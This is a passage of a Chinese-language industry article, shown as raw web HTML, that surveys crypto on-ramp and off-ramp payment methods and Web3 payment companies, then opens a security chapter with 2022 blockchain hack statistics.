转账和电汇，输入链上地址与币种金额后支付即可完成。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Moonpay 与 250+ 生态伙伴合作，持有 MSB 牌照支持 160+ 国家的当地运营是其最大优势，集成了 AML、KYC 等反欺诈能力满足监管要求，Coinbase 为其提供流动性供应，依靠齐全的出入金功能与先发优势带来的马太效应迅速占领了以信用卡使用为主的大部分欧美市场，撑起 35 亿美金估值。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">另外有一些更直接的出入金支付产品，依靠更加简单直接 适应当地用户使用习惯的功能界面或技术上更精尖的单一模块赢得一席之地，比如 Rampay 仅做入金网关，为其他更大型的独立出入金项目提供接口作为组件之一，并通过他们提供流动性，同时支持散户通过 Rampay 连接信用卡或借记卡进行入金。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>三、出入金聚合支付</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">与上述传统聚合支付一样，接入多家独立出入金支付机构接口，形成聚合平台，通过渠道路由向用户提供不同支付机构的报价引导用户购买加密货币并赚取佣金。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">大多数聚合支付平台只做报价的中间商，本身不进行资金转移，因此不需要汇款许可牌照。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>四、加密货币零售终端</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">支持用户在线下用现金直接购买加密货币，目前有两种方案，一种是加密货币 ATM 机，另一种是设在便利店里的加密零售终端。这种方式有以下几个特点：</span></section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">匿名性。入金小于一定数额时不需要 KYC</span></section></li><li><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">多数零售终端只支持少数主流币如 BTC 和 ETH</span></section></li><li><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">手续费率高 (5%~ 20%)。线下终端运营和维护费用高，难以降低成本</span></section></li></ul><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Bitcoin Depot 是北美的加密货币 ATM 项目，在全北美与部分加拿大地区有超过 7000 个 ATM 机，与手机端的 Bitcoin Depot App 相连来完成现金入金的操作，同时也支持信用卡借记卡支付。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>五、场外交易出入金</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">这种方式严格来说并非我们本文所讲的第三方支付，因为过程中并未涉及到第三方支付机构的参与。一般有两种模式：OTC (over the counter) 模式与 P2P (peer to peer) 模式。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">OTC 模式中，交易双方分别为需要购买加密货币的用户和拥有做市商为其提供流动性的柜台，该柜台一般隶属于大型中心化交易所。柜台为用户提供报价并赚取优于报价的部分作为利润。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">这种方式一般适用于大额交易用户，来消除交易滑点，避免流动性不足带来的亏损。</span></section><section style="margin: 24px 8px 16px;white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">P2P 模式中，交易双方为相互有出入金需求的用户，双方报价达成一致即可进行链下的法币转账与链上的加密货币转账，一些平台如中心化交易所会提供托管来撮合 P2P 买卖并收取很低的服务费率。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">除此之外，还有一些中心化交易所和支付机构与金融发卡行合作发行的借记卡与信用卡，也有出入金的功能，但多数场景下并非应用于出入金而是加密货币支付，我们将于下一部分谈到。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">至于上述多种出入金支付方式如何选择，原则是越少中间商赚差价则越便宜，因此对于普通散户来说应优先选择 P2P，但同时也要注意对方报价的高低以及对方欺诈的风险。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">3</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">Web3支付玩家竞争格局</span></section></section></section></section></section><h3 style="margin: 24px 8px 16px;break-after: avoid;font-family: Calibri;font-size: 15pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>一、加密交易所开展支付业务</strong></span></h3><h3 style="margin: 24px 8px 16px;break-after: avoid;font-family: Calibri;font-size: 15pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">交易所一般采用与中心化金融体系合作发行信用卡的形式开展支付业务。</span></h3><h3 style="margin: 24px 8px 16px;break-after: avoid;font-family: Calibri;font-size: 15pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">Coinbase、Binance、Crypto.com 这几家龙头交易所均在 2020 年前后开展了支付业务，与 Mastercard 或 Visa 合作发行加密货币信用卡，支持拥有加密货币资产的用户在全球范围内使用信用卡消费。</span></h3><h3 style="margin: 24px 8px 16px;break-after: avoid;font-family: Calibri;font-size: 15pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">但由于各国家地区法律监管与牌照限制，这些交易所仅能在部分地区发行信用卡 ，给了许多国家地区的独立出入金项目开展同样业务的机会。</span></h3><h3 style="margin: 24px 8px 16px;break-after: avoid;font-family: Calibri;font-size: 15pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>二、传统支付巨头切入加密支付</strong></span></h3><p style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">随着加密行业的兴起与发展，传统支付巨头在近几年开始切入加密支付业务，以加密货币出入金业务为主，且大多提供技术服务。</span></p><p style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">比如 Stripe 利用自身原有的支付网络优势，增加购买加密货币的业务，为交易所等提供出入金支付 API 接口。</span></p><p style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">传统支付巨头容易利用自身成熟的支付系统快速提供出入金技术服务，而对于做加密货币支付，由于缺乏区块链相关技术积累与 Crypto 行业理解，与 Web3 原生支付产品相比优势有限，但利用其基础用户量的优势，与中心化交易所等 Crypto Native 的机构合作，能快速切入加密货币支付领域。</span></p><p style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">比如近期 Circle 与 Applepay 合作，为商家提供加密货币支付 API 接口，让 Applepay 快速打入加密货币支付市场。</span></p><h3 style="margin: 24px 8px 16px;break-after: avoid;font-family: Calibri;font-size: 15pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>三、原生 Web3 支付玩家</strong></span></h3><p style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">不同于加密交易所和传统支付巨头在近几年从主营业务切入支付，一些原生加密支付玩家很早开始入局，致力于解决加密货币出入金与现实场景支付的问题。</span></p><p style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">BitPay 是 2011 年便开始的加密支付巨头之一，提供完整的出入金方案，并为商家提供比特币支付解决方案，但由于加密货币在早些年普及率不高，截止 2018 年，Bitpay 仅入驻 6w 商家，而随着近几年加密货币用户快速增长，截止去年的最新数据，Bitpay 已入住 12w 商家实现翻倍增长。</span></p><p style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">同时大量 Web3 支付原生玩家也在近几年涌现，独立出入金项目 MoonPay 成立于 2019 年，三年时间以 35 亿美元估值成为独立出入金支付巨头。</span></p><p style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">相比于传统支付巨头，原生支付项目往往有更加 Web3 的玩法。</span></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">多数支付公司都发行了 Token，比如 Alchemy Pay 发行代币 ACH，WeldPay 发行代币 Weld 作为其支付用户的奖励，用户使用其加密信用卡付款时能获得代币返现，但这种模式容易造成欺诈用户刷量套现，加密支付项目的代币模型还值得深入研究。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">但值得一提的是，加密支付产品有较硬的应用场景支撑，用户往往有更强共识来支撑代币价值。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">一些 Web3 支付机构如 MoonPay、Nuvei 支持通过信用卡/借记卡直接购买 NFT 以简化 NFT 购买流程，其本质与法币入金购买加密货币无太多区别。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">另外一些支付机构有不同玩法，比如 Weld 发行 NFT 并将其作为加密信用卡的皮肤封面。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">上述所谈出入金支付与加密货币支付两种方向所涉及的项目一般被统称为加密支付项目，目前多数 Web3 支付公司主要业务只覆盖其中之一。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">而整个 Web3 支付赛道还尚处早期，从出入金支付来看，全球加密货币用户在 2021 年 12 月达到 2.95 亿用户，且在一年期间实现翻倍增长，而独立出入金龙头项目 MoonPay 验证用户 700w，仅占市场总量 2%，估值达到 35 亿美元，表明出入金支付赛道远未达到饱和，还没有真正的巨头出来。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">未来随着加密货币普及使用率越来越高，法币与加密货币的交互转换会越来越频繁且自然，最终可能会变为像不同币种间换汇，加密支付项目也会将出入金与加密货币支付做的更加融合。结合支付应用场景与上述加密支付技术应用。</span></section><h1 style="margin: 24px 8px 16px;break-after: avoid;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);text-indent: 0pt;white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><br mpa-from-tpl="t"/></span></h1><section data-mpa-template="t" mpa-from-tpl="t"><section style="padding:1px 5px;font-size:14px;white-space:normal;" mpa-from-tpl="t"><h2 style="border-left: 5px solid rgb(1, 1, 1);font-weight: bold;line-height: 32px;color: rgb(1, 1, 1);padding-right: 10px;padding-left: 10px;margin: 5px;border-top-color: rgb(1, 1, 1);border-bottom-color: rgb(1, 1, 1);border-right-color: rgb(1, 1, 1);"><p style="border-color: rgb(1, 1, 1);"><span style="color: rgb(0, 0, 0);font-size: 20px;"><strong mpa-from-tpl="t">第七章    安全与匿名</strong></span></p></h2></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">1</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: normal;">区块链黑客事件统计</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022 年全年，Beosin EagleEye 安全风险监控、预警与阻断平台共监测到 Web3 领域主要攻击事件超 167 起，因各类攻击造成的总损失达到了 36 亿 384 万美元，较 2021 年攻击类损失增加了 47.4%。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">其中单次损失超过一亿美元的安全事件共 10 起，1000 万至一亿美元的安全事件共 21 起。</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;"> </span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6212251941328731" data-s="300,640" style="" data-type="png" data-w="1159" src="https://wechat2rss.xlab.app/img-proxy/?k=97697cea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0El8icVhTibOvTglf5eyrVlLFqtM3ITOGTnTbxYibGRCjO2xajSEcrmNtg%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">从项目类型来看，12 次跨链桥安全事件共造成了约 18.9 亿美元损失，居所有项目类型损失的第一位。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">DeFi 类型项目被攻击了 113 次，约为 67.6%，是被攻击频次最高的项目类型。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022 年共有 20 条公链发生过重要安全事件，按损失金额排名前三的分别是 Ethereum、BNB Chain、Solana；按攻击事件次数排名前三的分别是 BNB Chain、Ethereum、Solana。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">漏洞利用为全年频率最高、且损失最多的攻击方式。2022 年全年涉及漏洞利用的攻击事件有 87 起，总损失达到了 14.58 亿美元。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在 2022 年监测到的 167 次主要攻击事件里，经过审计与未经审计的项目几乎各占一半，比例分别为 51.5% 和 48.5%。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022 年约有 13.96 亿美元的被盗资金转入了 Tornado Cash，占所有攻击事件损失资金的 38.7%。全年约有 2.89 亿美元的被盗资金得以追回，仅占所有损失的 8%。</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;"> </span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.31484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7db4a408&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0TSxibSBUriazYA3GGcrWOGiaRmzT2ct7gFtHvic7ic9uAHeTaY9XqNa1lyw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">全年区块链领域犯罪金额达到了 137 亿 6074 美元（金融犯罪暂不计入）。其中洗钱类占 73.3 亿美元，攻击事件 36 亿美元，传销类 10.15 亿美元，诈骗类 8.3 亿美元。全年诈骗类事件中，包括 Rug pull 事件 243 起，总涉及金额达到了 4.25 亿美元（FTX 事件暂不计入）。约 86.4% 的项目跑路金额集中在几千至几十万美元区间。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.54453125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f6766075&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0vNVic8m3aWOde9oTbHKFUQKibtYwdUnjU9v6sRO2GMm1XW14uKDYIt9Q%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span 